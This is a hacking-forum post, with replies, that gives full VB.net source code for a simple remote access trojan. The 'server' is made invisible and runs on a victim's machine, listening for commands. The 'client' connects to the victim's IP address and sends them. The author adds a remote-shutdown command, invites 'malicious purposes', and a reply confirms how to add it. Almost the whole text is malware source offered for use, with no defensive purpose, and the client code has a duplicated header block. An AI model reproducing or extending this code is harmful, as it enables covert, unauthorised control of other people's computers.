[Source Code]RAT Client/Server

Server
This is the file you will give to your victim.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Step 1: If not already installed then install VB.net(2008 or 2010 both work)
Step 2: Create A Project Called "RAT Server"
Step 3: In form settings change the following: Set the foll form opacity at 0% to make it invisible to your victim. Show in task bar = false
Step 4: Double Click the form, then delete all coding you see and insert the following:

Code:

Imports System.Net
Imports System.Net.Sockets
Imports System.IO
Imports Microsoft.Win32
Public Class Form1
    Dim port As Integer = 6961
    Dim sock As New TcpClient()
    Dim tcpc As New TcpListener(port)
    Private Sub listen()
        Try
            tcpc.Start()
            sock = tcpc.AcceptTcpClient()
        Catch ex As Exception
        End Try
    End Sub
    Private Sub check()
        If sock.Connected = True Then
            sock.SendTimeout = 5000
            Try
                Dim nstream As NetworkStream = sock.GetStream
                Dim bit(sock.ReceiveBufferSize) As Byte
                nstream.Read(bit, 0, CInt(sock.ReceiveBufferSize))
                Dim str As String = System.Text.Encoding.ASCII.GetString(bit)
                Dim id() As String = Split(str, "*", -1, CompareMethod.Text)


                If id(0) = 0 Then
                    Dim stri As String = id(1)
                    MessageBox.Show(stri)
                End If
            Catch ex As Exception
                check()
            End Try
        End If
    End Sub
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        While sock.Connected = False
            Try
                listen()
            Catch ex As Exception
            End Try
        End While

        While True
            check()
        End While
    End Sub
End Class

Now the messagebox.show("stri") shows whatever info you send to them, Specifically "stri" is the data that you send to them. You can modify this for "malicious purposes" such as the following code:

Code:

If stri = "Shutdown" then
shell("shutdown -s")
end if

That says if you send "Shutdown" to them their computer will turn off. You need to have some VB experience to use this.

Client
This is the file you will use to send commands to your victims.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Step 1: If not already installed then install VB.net(2008 or 2010 both work)
Step 2: Create a project called "RAT Client"
Step 3: Make the form look like this:

1 label, 2 textboxes, 2 buttons(make sure your buttons/textboxes names correspond to the ones in the pic)
Step 4: Double Click the form, then delete all coding you see and insert the following:

Code:

Imports System.Net
Imports System.Net.Sockets
Public Class Form1
   Imports System.Net
Imports System.Net.Sockets
Public Class Form1
    Dim sock As New TcpClient()
    Dim ip As IPAddress = IPAddress.Parse("127.0.0.1")
    Dim port As Integer = 6961
    Private Sub connect()
        ip = IPAddress.Parse(TextBox1.Text)
        port = 6961
        Try
            sock.Connect(ip, port)

        Catch ex As Exception
            MsgBox("Can not connect to designated ip at this time")
        End Try
    End Sub
    Private Sub dat(ByVal dat As String)
        Dim nstream As NetworkStream = sock.GetStream()
        Dim bit As [Byte]() = System.Text.Encoding.ASCII.GetBytes(dat)
        nstream.Write(bit, 0, bit.Length)
    End Sub
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Call connect()
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        dat("0*" + TextBox2.Text)
    End Sub

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

    End Sub
End Class

In textbox1 type in the Victim's IP, if you do not have means of getting your Victims IP i will be posting a way with VB.net later, then hit connect. If no error shows up that means your connected. Then type your commands in textbox2 and hit send to send the command to your victim.

If you have any questions PM me, enjoy!

im attempting to make right now

Look good!
But correct me if I'm wrong, this will only let me Connect to the server, right? and if I write

Code:

If stri = "Shutdown" then
shell("shutdown -s")
end if

after

Code:

                If id(0) = 0 Then
                    Dim stri As String = id(1)
                    MessageBox.Show(stri)

so it looks like

Code:

                If id(0) = 0 Then
                    Dim stri As String = id(1)
                    MessageBox.Show(stri)
                    If stri = "Shutdown" Then
                        Shell("shutdown -s")
                    End If
                End If

I can shut down the servers computer?

This also means I will have to find (or make, I could just aswell learn Vb.net since I wanna do some research on this anyway) code for doing other stuff?

This is what I've understood from your post, I just want to confirm that it is what you actually meant.

Thanks for the source!!

The messagebox.show(stri) is not needed, that (if included) would just pop up with a messagebox saying what you sent. And yes, to insert more malicious commands you would have to learn some VB.net
